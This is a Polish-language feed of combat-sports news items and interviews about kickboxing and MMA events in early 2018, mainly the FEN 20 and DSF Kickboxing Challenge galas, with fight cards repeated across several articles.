W 2017 roku Rafał narzucił sobie szalone tempo. W krótkim czasie stoczył trzy trudne pojedynki, co okupił m.in. problemami ze zdrowiem. Dwie walki zakończyły się jego porażkami na punkty.

W ubiegłym roku kalendarz dziwnie się ułożył i stoczyłem aż trzy walki w ciągu dwóch miesięcy. To odbiło się na mojej dyspozycji – uważa Dudek. – Nawet wyniki krwi wykazały, że nie wszystko było w porządku. Musiałem zmienić pewne rzeczy i odbudować organizm. Pracowałem także nad warstwą mentalną. Moje jednostki treningowe stały się krótsze, ale bardziej intensywne. Obecnie czuję się świetnie i będę w pełni gotowy na 9 marca – zapewnia.

""

Mimo ponad trzydziestu walk zawodowych na koncie i trwającej od wielu lat kariery, Rafał Dudek wciąż prezentuje w ringu wysoki europejski poziom.

Pamiętam moje walki sprzed dwóch lat. To był sztos! Wiem, że stać mnie jeszcze na taką formę, by dać ludziom niezapomniane widowiska. Mam sobie trochę do udowodnienia. Popełniłem kilka błędów, ale to już za mną. Teraz doczekaliśmy się federacji, która jest w stanie zakontraktować każdego zawodnika. Jestem przekonany, że z kilkoma najlepszymi będę mógł się zmierzyć w Polsce. Będę gotowy, by podjąć rękawice z każdym – zapewnia Rafał Dudek.

W tym roku Dudek nie zamierza powielać błędów przeszłości i planuje robić większe odstępy między walkami, by móc w pełni się regenerować i przystępować do każdego pojedynku w optymalnej formie. Kluczowe mają być dyscyplina i zachowanie tej samej sylwetki przez cały sezon startów.

Jestem i zawsze byłem zdecydowanym przeciwnikiem dopingu. Wszyscy zawodnicy powinni mieć w ringu równe szanse – apeluje nowosądeczanin. – Nie walczę w wadze ciężkiej, masa mięśniowa nie jest tu potrzebna. Gdyby to sylwetka walczyła, to kulturyści byliby mistrzami świata w sportach walki. Oczywiście każdy zawodnik jest inny, ale w moim klubie obserwuję różnych fighterów i radzę wszystkim skupiać się jak najwięcej na technice – przypomina Rafał Dudek.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

PREMIERA: PZKB TV odc. 21

Zapraszamy do obejrzenia #21 odcinka programu z serii PZKB TV. Naszym gościem był Rafał Mazurowski trener Reprezentacji Polski Kickboxingu w formule Kick Light oraz trener i prezes klubu Centrum Sportów Walki "Champion" a także NGF Champion TV.

[kod]

Błeszyński kontra Kwieciński na FEN 20!

Adrian Błeszyński (4-2) będzie rywalem Alana Kwiecińskiego (6-5) podczas gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się w kategorii wagowej do 77 kilogramów.

Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz piąty. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Dwa miesiące później we Wrocławiu stoczył jedną z najlepszych walk w historii federacji FEN i nieznacznie przegrał na punkty z Tymoteuszem Łopaczykiem. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 31-letniego „Aresa” budzi ogromne zainteresowanie kibiców.

Pojedynek z Błeszyńskim będzie trzecim występem Kwiecińskiego pod szyldem FEN, z czego drugim w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show „Warsaw Shore” w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1 *

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Alan Kwieciński wystąpi na FEN 20!

Znamy nazwisko kolejnego bohatera gali Fight Exclusive Night 20 "Next Level". 10 marca w warszawskiej hali Torwar kibice będą mieli przyjemność zobaczyć w akcji Alana Kwiecińskiego (6-5). Zawodnik wystąpi w formule K-1 w kategorii do 77 kilogramów.

Będzie to trzeci występ Kwiecińskiego pod szyldem FEN, z czego drugi w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show "Warsaw Shore" w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

– Miało być 10 pojedynków podczas jubileuszowej gali i tak też będzie. Czwarte zestawienie w formule K-1 uczyni to wydarzenie jeszcze lepszym. Niespełna cztery tygodnie do pierwszego gongu, a my mamy jeszcze przygotowane dla wszystkich kibiców niespodzianki. Bądźcie czujni! – powiedział Paweł Jóźwiak, prezes federacji FEN.

Nazwisko przeciwnika Alana Kwiecińskiego federacja FEN ogłosi w ciągu najbliższych dni.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Gwiazdor ACB w DSF Kickboxing Challenge!

Piotr Strus to kolejna gwiazda sportów walki, która wiąże się z DSF Kickboxing Challenge!  W poniedziałek warszawski wojownik podpisał kontrakt z federacją. Jako kickbokser zadebiutuje już 9 marca na gali w Nowym Dworze Mazowieckim.

Do tej pory swoją karierę Strus budował poprzez walki w MMA – walcząc m.in. dla KSW czy obecnie dla ACB. Ale sporty stójkowe nie są mu obce. 29-letni zawodnik zaczynał właśnie od typowo uderzeniowych dyscyplin. Polak odnosił sukcesy w kickboxingu (dwukrotne mistrzostwo Polski młodzieżowców w formule low kick), muay thai (mistrzostwo Polski seniorów) i sandzie (Puchar Świata w Chinach, brązowe medale mistrzostw Europy i świata).

Wywodzę się z kickboxingu i ten sport nadal jest bardzo bliski mojemu sercu. Od kilku tygodni w mediach pojawiały się spekulacje na temat podpisania umowy ze mną, chodziło jednak o Karola Celińskiego. To otworzyło jednak drogę do rozmów i Robert Złotkowski zaproponował mi dołączenie do DSF Kickboxing Challenge na podobnych zasadach – tłumaczy Strus.

Trenujący w klubie WCA Fight Team Strus wyrobił sobie mocne nazwisko w MMA. Zanim podpisał umowę z ACB, dał się poznać fanom w Polsce między innymi dzięki występom w KSW. Teraz otrzyma szansę toczenia zawodowych walk kickbokserskich.

Propozycja od DSF Kickboxing Challenge to dla mnie duży zaszczyt i wymarzone rozwiązanie. Występ w największej rodzimej federacji kickboxingu to szansa na dodatkowy start podczas przygotowań do walki o pas ACB, ta jednak czeka mnie dopiero za kilka miesięcy, więc złożyło się wręcz idealnie – podkreśla Piotr Strus.

W tym roku do DSF Kickboxing Challenge dołączyli już m.in. byli mistrzowie FEN – Paweł Biszczak i Róża Gumienna, robiący furorę poza granicami Polski Dawid Żółtaszek, młodziutki mistrz świata K-1 Adam „Polish Psycho” Gielata oraz wspomniany wyżej inny zawodnik ACB – Karol „Cebula” Celiński.

Nie ukrywam, że z ogromnym podziwem przyglądam się temu, jak rozwija się DSF Kickboxing Challenge. Jestem przekonany, że ta federacja przywróci kickboxingowi jego należne miejsce. W końcu ten fantastyczny sport jest pokazywany z odpowiednim rozmachem. Sądzę, że wkrótce kickboxing odzyska dawną popularność i cieszę się, że będę mógł do tego dołożyć swoją cegiełkę – mówi trener aktora Tomasza Oświecińskiego.

Debiut Strusa w DSF Kickboxing Challenge odbędzie się już 9 marca w Nowym Dworze Mazowieckim – 20 kilometrów od Łomianek, gdzie się wychował.

Urodziłem się na warszawskiej Pradze, ale wychowałem się w Łomiankach, skąd jest naprawdę niedaleko do Nowego Dworu Mazowieckiego. Nie mam wątpliwości, że na mój debiut w DSF Kickboxing Challenge zjadą się kibice z całej okolicy. Zapraszam zarówno ich, jak i wszystkich fanów kickboxingu. Nie chcecie przegapić tego, co wydarzy się w ringu! – kończy Strus.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

FEN 21 26 maja we Wrocławiu!

Miło nam wszystkich poinformować, że gala FEN 21 odbędzie się 26 maja we Wrocławiu. Areną zmagań zawodników będzie Hala Orbita.

FEN po raz siódmy zawita do Wrocławia. To właśnie w stolicy Dolnego Śląska federacja zaczynała swoją działalność i tam też odbyła się ostatnia gala w 2017 roku. "Bitwa o Wrocław" była znakomitym wydarzeniem, które szerokim echem odbiło się w całej Polsce. Drugi akt 2018 roku to powrót do Hali Orbita.

– Wrocław nam leży i 26 maja ponownie zawitamy do tego miasta. Dolny Śląsk uwielbia sporty walki, co potwierdza każda organizowana przez nas gala w tym regionie. Po jubileuszu od razu organizujemy kolejne wydarzenie i mogę już dziś zapewnić, że zaoferujemy wszystkim kibicom znakomite emocje. W Hali Orbita zobaczymy w akcji Marcina Zontka, Tymoteusza Łopaczyka i Mateusza Głąba. O kolejnych nazwiskach poinformujemy w swoim czasie – powiedział Paweł Jóźwiak, prezes FEN.

Przedsprzedaż biletów na galę FEN 21 rozpocznie się 15 lutego o godzinie 15 i będzie dostępna wyłącznie na fen-mma.com/bilet. W przedsprzedaży bilety będą dostępne w specjalnej atrakcyjnej cenie dla fanów FEN. By wziąć udział w przedsprzedaży należy wpisać specjalny kod udostępniony na kanałach społecznościowych federacji oraz jej partnerów.

Przedsprzedaż trwa do 16 lutego do godziny 15:00. Po tym terminie rusza otwarta sprzedaż u stałych partnerów biletowych serwisu.

***

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Held na zastępstwo?

Marcin Held czeka na swoją piątą walkę w UFC. Tyszanin zgłosił akces do pojedynku z Beneilem Dariushem.

Można powiedzieć, że w Gdańsku Marcin Held powrócił do "żywych". Gala UFC Fight Night 118 okazała się szczęśliwa dla Polaka, który odniósł pierwsze zwycięstwo w amerykańskiej organizacji MMA. 26-latek na przestrzeni trzech rund okazał się lepszy od Nasrata Haqparasta. Mówiło się, że dla Polaka to walka ostatniej szansy i udało mu się "uciec spod topora".

Marcin Held trafił do UFC jesienią 2017 roku. Po jego występach w amerykańskiej organizacji obiecywano sobie wiele, bo zawodnik znakomicie radził sobie w Bellatorze, gdzie miał okazję walczyć o pas mistrzowski wagi lekkiej. W listopadzie 2015 roku przegrał jednak z Willem Brooksem.

Wracając do UFC, w debiucie polski lekki przegrał z Diego Sanchezem. W drugiej walce toczył wyrównany bój z Joe Lauzonem i wydawało się, że sędziowie zwycięstwo powinni przyznać Heldowi, jednak wskazali inaczej. Nawet rywal nie ukrywał zdziwienia. Pojedynek z Damirem Hadzoviciem był jak dotąd jedynym, który Held przegrał przez nokaut. Kolano Bośniaka doszło do głowy Polaka, a warto podkreślić, że ten wcześniej kontrolował starcie. Held przegrał po raz trzeci, ale wydostał się z tarapatów i liczy na kolejny pojedynek.

Tyszanin nie daje o sobie zapomnieć i walczy o swoje. 26-latek aż rwie się do kolejnego pojedynku. Niedawno Polak zgłosił gotowość do walki z Kajanem Johnsonem, który pozostawał bez rywala na galę UFC Fight Night 127 w Londynie wobec kontuzji Rustama Khabilova. Włodarze UFC nie słyszeli jednak wołania Helda i zestawili Johnsona z Steviem Rayem.

Były zawodnik Bellatora podjął kolejną próbę. Teraz Held chce wykorzystać fakt, że kontuzji doznał Bobby Green, który 3 marca miał rywalizować podczas gali UFC 222 w Las Vegas z Beneilem Dariushem. Polak celuje w starcie z Amerykaninem, który na zwycięstwo czeka od blisko półtora roku. – Słyszałem, że szukacie kogoś dla Beneila Dariusha na UFC 22. Sean Shelby, Dana White, UFC, jestem gotowy – napisał polski zawodnik na Twitterze.

Dariush odniósł się do słów Helda. – Nie będę narzekał. Potrzebuję tylko nazwiska – odpowiedział Amerykanin.

Pozostaje czekać na rozwój wypadków. Held to zawodnik, które ma spore możliwości i nie raz udowodnił, że ma ogromny talent. 16 z 23 walk wygrał przed czasem. Przydałoby się dopisać zwycięstwo przez poddanie w UFC. Czy, a może kiedy Polak dostanie kolejną szansę w UFC?

KM

Czy „Imadło” zaciśnie Williamsa?

Przed Oskarem Piechotą druga walka w UFC. W niedzielę 18 lutego w Frank Erwin Center w Austin Polak zmierzy się z Timem Williamsem.

Piechota trafił tam, gdzie jego miejsce – tak mówiło wielu, gdy fighter trafił do UFC. Do najlepszej organizacji MMA na świecie "Imadło" mógł zawitać zdecydowanie wcześniej, ale na przeszkodzie stanęła kontuzja. Poddanie japońskim krawatem w styczniu 2015 roku Craiga White'a wprawiło wszystkich w zachwyt. Wtedy wiadomo było, że wielka kariera stoi przed Polakiem otworem. Zerwane więzadło krzyżowe przednie, operacja, rehabilitacja i Piechota kolejną walkę stoczył dopiero w grudniu 2016 roku. Podczas gali Spartan Fight 6 w drugiej rundzie poddał Nikosa Sokolisa. Ważnym wydarzeniem na drodze Piechoty była walka o pas wagi średniej organizacji Cage Warriors. Jego rywalem był Jason Radcliffe. 28-latek w zaledwie 32 sekundy pokonał rywala. Lewy sierpowy, a później ciosy w parterze i Polak w fantastyczny sposób utorował sobie drogę do UFC.

Piechota nie mógł sobie wyobrazić lepszego miejsca do debiutu w UFC niż Gdańsk, w którym się urodził. Polak zmierzył się z Jonathanem Wilsonem i od początku starcia spokojnie czekał na ruch przeciwnika. Pod koniec drugiej rundy Piechota odpalił potężny prawy, ale rywal dotrwał do końca odsłony. Wilson był czujny, gdyż zdawał sobie sprawę z atutów pochodzącego z Gdańska zawodnika. Pod koniec trzeciej rundy Piechota obijał rywala parterze. Polak zwycięsko rozpoczął przygodę z UFC. Teraz czas na kolejną walkę jednego z najlepszych polskich zawodników wagi średniej.

18 lutego Oskar Piechota wystąpi na gali UFC Fight Night 126. Jego rywalem będzie Tim Williams, dla którego będzie to debiut w najlepszej organizacji MMA na świecie. Przez długi czas Amerykanin był związany z CFFC. Williams ma serię pięciu zwycięstw z rzędu. Po raz ostatni przegrał w lipcu 2015 roku z Anthony'm Smithem.

Polak intensywnie trenował i przygotowywał się do walki. Pomagał mu m.in. Tomasz Jabłoński. W poniedziałek Piechota ruszył w drogę do Stanów Zjednoczonych. Na miejscu nie narzeka na samotność. – Podróż była długa ale już na miejscu, doleciał Kamil "Profesor" Umiński także była okazja się trochę poruszać razem z trenerem Grzegorz "Jakubek" Jakubowski. Czekamy aż dojedzie Marcin Tybura oraz Zbigniew "Zybi" Tyszka i polski skład będzie w komplecie. Fight week! – napisał Piechota na Facebooku.

W walce wieczoru gali UFC Fight Night 126 zaprezentują się Donald Cerrone i Yancy Medeiros. Szóstą walkę w amerykańskiej organizacji stoczy Marcin Tybura, który zmierzy się z Derrickiem Lewisem. Ostatnio Polak przegrał z Fabricio Werdumem.

Fot. Oskar Piechota Facebook

KM

Andryszak, Janikowski i Soldić ruszą na Wrocław

Gala KSW 43 za dwa miesiące, jednak organizacja powoli robi apetyty miłośnikom MMA. We wrocławskiej Hali Stulecia zobaczymy m.in. Michała Andryszaka, Damiana Janikowskiego i Roberto Soldicia.

1 – to liczba, która towarzyszy Michałowi Andryszakowi. 24 z 26 walk fightera urodzonego w Bydgoszczy kończyło się w pierwszych rundach. Gdy Andryszak wchodzi do oktagonu pewne jest, że pojedynek będzie efektowny. 25-latek wygrał ostatnich sześć walk, w tym trzy zakończył przed upływem jednej minuty. Andryszak ma za sobą występy na galach takich organizacji jak Cage Warriors, Fighters Arena, PLMMA oraz ACB. W KSW debiutował w marcu 2014 roku w Warszawie. Szybko uporał się z Pawłem Słowińskim, ale na kolejną walkę przyszło mu czekać ponad trzy lata. Podczas gali KSW 39, która odbyła się na stadionie PGE Narodowy Andryszak wygrał z Michałem Kitą przed duszenie, a jego akcję oceniono jako poddanie wieczoru. Jeszcze większe wrażenie zawodnik Ankosu MMA Poznań zrobił w grudniu w Katowicach. Gala KSW 41 należała do Michała Andryszaka. Fernando Rodrigues Jr ruszył na Polaka, ale otrzymał potężny cios, a 25-latek dokończył dzieła w parterze. Starcie trwało zaledwie 26 sekund! Podczas wrocławskiej gali Andryszak będzie chciał sprawić sobie prezent urodzinowy. Dwa dni wcześniej skończy 26 lat.

Niektórzy bawią się we wróżki i przepowiadają wielką karierę w MMA Damianowi Janikowskiemu. Dla brązowego medalisty olimpijskiego w zapasach z Londynu gala KSW 43 będzie wyjątkowa. Zawodnik wystąpi we Wrocławiu, czyli mieście, które jest bliskie jego sercu. Janikowski ma za sobą dwie walki w MMA. W debiucie na stadionie PGE Narodowy pokonał w pierwszej rundzie Julio Gallegosa. Kolejnym wyzwaniem dla byłego zapaśnika było starcie z legendą polskiego MMA Antonim Chmielewskim. Janikowski cały czas był aktywny, jednak 36-latek skutecznie odpierał jego ofensywne zapędy. W pierwszej rundzie medalista olimpijski obalił bardziej doświadczonego rywala. Rozstrzygnięcie przyszło w drugiej odsłonie. Chmielewski obalił Janikowskiego i szukał poddania, jednak sytuacja szybko się odwróciła i wrocławianin zasypał przeciwnika serią ciosów.

We Wrocławiu spotkają się Roberto Soldić i Dricuss du Plessis. Stawką pojedynku będzie pas w wadze półśredniej. Niejako Soldić ma „dług” wobec du Plessisa. Zawodnik z RPA miał w grudniu zmierzyć się z Borysem Mańkowskim, jednak wypadł z powodu kontuzji. Jego miejsce zajął Chorwat, który nie miał litości dla Polaka. Z każdą minutą jego przewaga zaznaczała się. Soldić kompletnie wymęczył Mańkowskiego i narożnik po trzeciej rundzie poddał dotychczasowego czempiona. We Wrocławiu zapowiada się niezwykle interesujące starcie. Znakomita seria któregoś z zawodników zostanie przerwana. Zarówno Soldić, jak i du Plessis wygrali siedem ostatnich walk.

Fot. Damian Janikowski Facebook

KM

Mistrzostwa Polski K1 Pro-am PZKB

Mistrzostwa Polski K1 Pro-am PZKB – 17 luty 2018 r. Marki k/ Warszawy.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

LIVE: Mistrzostwa Polski K1 Pro-am PZKB

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K1 Pro-am PZKB.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

[kod]

Trybson przed FEN 20: Trenerze, zdrowiej, wygram to dla ciebie!

Paweł Trybała (3-3, 3 KO) zmierzy się z Tymoteuszem Świątkiem  (15-4, 7 KO, 6 SUB) podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar. "Trybson" jest przekonany, że pewnie wygra swoje debiutanckie starcie w FEN, a zwycięstwo zadedykuje swojemu trenerowi, który zmaga się z nowotworem.

Jak się czujesz? Do gali zostało 30 dni.

Paweł Trybała: Czuję się dobrze, ale bylem przez kilka dni przeziębiony i musiałem zmniejszyć obciążania. Już jest jednak w porządku, wychodzę z tego, trenuję raz dziennie. Nie będzie to miało wpływu na moją dyspozycję 10 marca.

Stresujesz się już pojedynkiem?

PT: Nie. Bardziej koncentruję i sobie go wizualizuję. Trenuję z myślą o najbliższej walce, ale nie towarzyszą mi nerwy.

Układasz swój plan pod przeciwnika?

PT: Tak, oczywiście. Niestety, ale mój trener nie bierze udziału w moich przygotowaniach, gdyż zmaga się z chorobą i jego dojście do pełni zdrowia jest w tym momencie najważniejsze. Trzymam za niego kciuki, wierzę, że sobie poradzi. Mirek żyje MMA cały czas, nawet będąc w szpitalu dzwonił do mnie i analizowaliśmy styl walki Tymoteusza Świątka. Mam już nakreślony w głowie plan, jak go pokonać i uczynię to 10 marca.

Niektórzy zawodnicy nie chcą oglądać swoich przeciwników przed pojedynkiem.

PT: Wiem, są dwie szkoły, ale ja wolę widzieć, jakie robi błędy, żeby móc je wykorzystać i zwrócić uwagę na to, co robi dobrze i na co uważać. Mi to pomaga, dlatego też tak zrobiłem.

I co, widziałeś błędy Świątka w ostatnich walkach?

PT: Popełnia je jak każdy, a moim zadaniem będzie je wykorzystać. "Uśmiercić" nieśmiertelnego i wygrać. Tak też zrobię.

Choroba trenera jest dodatkową motywacją?

PT: To są trudne sprawy i niestety mogą przydarzyć się każdemu z nas, dlatego trzymam kciuki za mojego trenera, żeby z tego wyszedł. Da radę, wierzę w to. Walczę dla niego, dla rodziny, dla kibiców – dla wszystkich sympatyzujących mi osób. Z taką wiarą wychodzę do klatki, bo wiem, że to wszystko ma sens.

Jak spędzisz najbliższe tygodnie przed walką?

PT: Czeka mnie dużo pracy, czas sparingów jest bardzo trudny, ale i decydujący w kontekście przygotowania się do walki. Dodatkowo będę ćwiczył wszystkie płaszczyzny – boks, jiu-jitsu, zapasy. Nie mogę dać się zaskoczyć i będę gotowy na wszystko.

Zbijesz wagę do 80 kilogramów? Tak ciężki Świątek jeszcze nie był.

PT: Zbiję, zadeklarowałem się, więc muszę to zrobić. Warunki fizyczne powinny być moim atutem, ale na to nie mogę patrzeć. Jestem silniejszy i lepszy, więc wygram. Świątek to dobry zawodnik, ale będę musiał go pokonać. Tak też się stanie w Warszawie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Znamy rywala Andrzeja Grzebyka na FEN 20!

Anatolij Litwinow (5-0, 1 KO, 4 SUB) będzie rywalem Andrzeja Grzebyka (11-3, 4 KO, 3 SUB) podczas gali FEN 20 "Next Level". Dzięki temu znamy już osiem zestawień jubileuszowej edycji, która 10 marca odbędzie się w warszawskiej hali Torwar.

Litwinow jest Ukraińcem, urodził się 14 kwietnia 1991 roku w Siewierodoniecku. Z pięciu dotychczas stoczonych pojedynków wszystkie wygrał przed czasem, z czego aż czterokrotnie poddawał swoich rywali. Pierwszą walkę odbył w czerwcu 2016 roku i kolejne 13 miesięce były dla niego bardzo intensywne, gdyż w tym właśnie okresie miały miejsce wszystkie jego starcia. Za każdym razem występował w ojczyźnie i trzykrotnie mierzył się ze swoimi rywalami w kategorii półciężkiej.

Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 „Summer Edition” po znakomitej walce pokonał Marcina Naruszczkę, wcześniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 „Go For It” natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki  – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Grzebyk przed FEN 20: Skoro dostałem takiego rywala, to musi być dobry!

Andrzej Grzebyk (11-3, 4 KO, 3 SUB) poznał nazwisko rywala, z którym zmierzy się 10 marca podczas gali FEN 20 "Next Level". Anatolij Litwinow (5-0, 1 KO, 4 SUB) dopiero zadebiutuje w polskiej organizacji, a Grzebyk podkreśla, że wybór tego akurat przeciwnika nie będzie miał wpływu na to, jaki jego cel przed tym pojedynkiem.

Zadowolony z wyboru przeciwnika?

Andrzej Grzebyk: Czy ja wiem. Przyjąłem to ze spokojem. Skoro został zakontraktowany przez włodarzy FEN do walki ze mną, to znaczy, że musi dużo umieć i na pewno nie przyjedzie do Polski tylko po wypłatę. Nie widziałem go w akcji jeszcze prawdę mówiąc, to dopiero przede mną.

Jak dotychczasowe przygotowania?

AG: Bardzo dobrze, dziękuję. Forma dopisuje, wszystkie mniejsze urazy zostały zażegnane, więc teraz będę sparował i przygotowywał się pod mojego rywala. Trochę mnie nie było w klatce, chciałem wrócić szybciej, ale sprawy związane ze zdrowiem wyglądały w ten sposób, że musiałem wszystko w pełni wyleczyć, by po raz kolejny móc się bić.

Ze zdrowiem już wszystko w porządku?

AG: Tak, wszystko okej. Mam jakieś małe problemy, ale to skutki ciężkich treningów, sparingów. Można powiedzieć, że jestem obolały, a nie kontuzjowany. Na pewnym poziomie każdy zawodnik musi dbać o swoje zdrowie, ja wszystko wyleczyłem, teraz pozostaje mi w spokoju szykować się do walki. Nie martwię się o nic, pozostaje mi tylko trenować.

Zostały cztery tygodnie. Jak je spędzisz?

AG: Na pewno nie będę odpoczywał – to dopiero przed samą walką. Trochę pojeżdżę po różnych klubach, będę sparował, chciałbym z jak najlepszymi zawodnikami móc zmierzyć się, by pomogli mi przygotować się przed 10 marca.

Nie chciałeś walczyć z Polakiem?

AG: Nie robiło mi to żadnej różnicy, choć pojedynki z Polakami są inne. Jest większa presja, atmosfera przed pojedynkiem jest inna, są zaczepki, prowokacje, często gdzieś wcześniej nasze drogi już się zeszły i łączy nas jakaś historia. Jest więcej otoczki przed samym pojedynkiem.

Gdybyś jednak przegrał z Ukraińcem, którego nikt w Polsce nie zna, to też dużo osób mogłoby pomyśleć, że wypadłeś słabo.

AG: Trochę tak, ale mój rywal jest wielką niewiadomą na ten moment dla mnie, dopiero po obejrzeniu jego pojedynków będę mógł więcej na ten temat powiedzieć. W Polsce niewiele go zna, ale to pewnie dobry zawodnik. Niepokonany, za każdym razem kończący swoich rywali przed czasem. To musi coś znaczyć.

Ostatnio powiedziałeś, że chciałbyś w końcu stoczyć pojedynek o pas.

AG: Najbliższy pojedynek nie będzie o pas, więc w ogóle o tym nie myślę. Liczą się cztery najbliższe tygodnie i walka z Antolijem Litwinowem. To jest dla mnie najbardziej istotne. Co będzie potem, zobaczymy, niczego nie zakładam, ale też niczego nie wykluczam.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

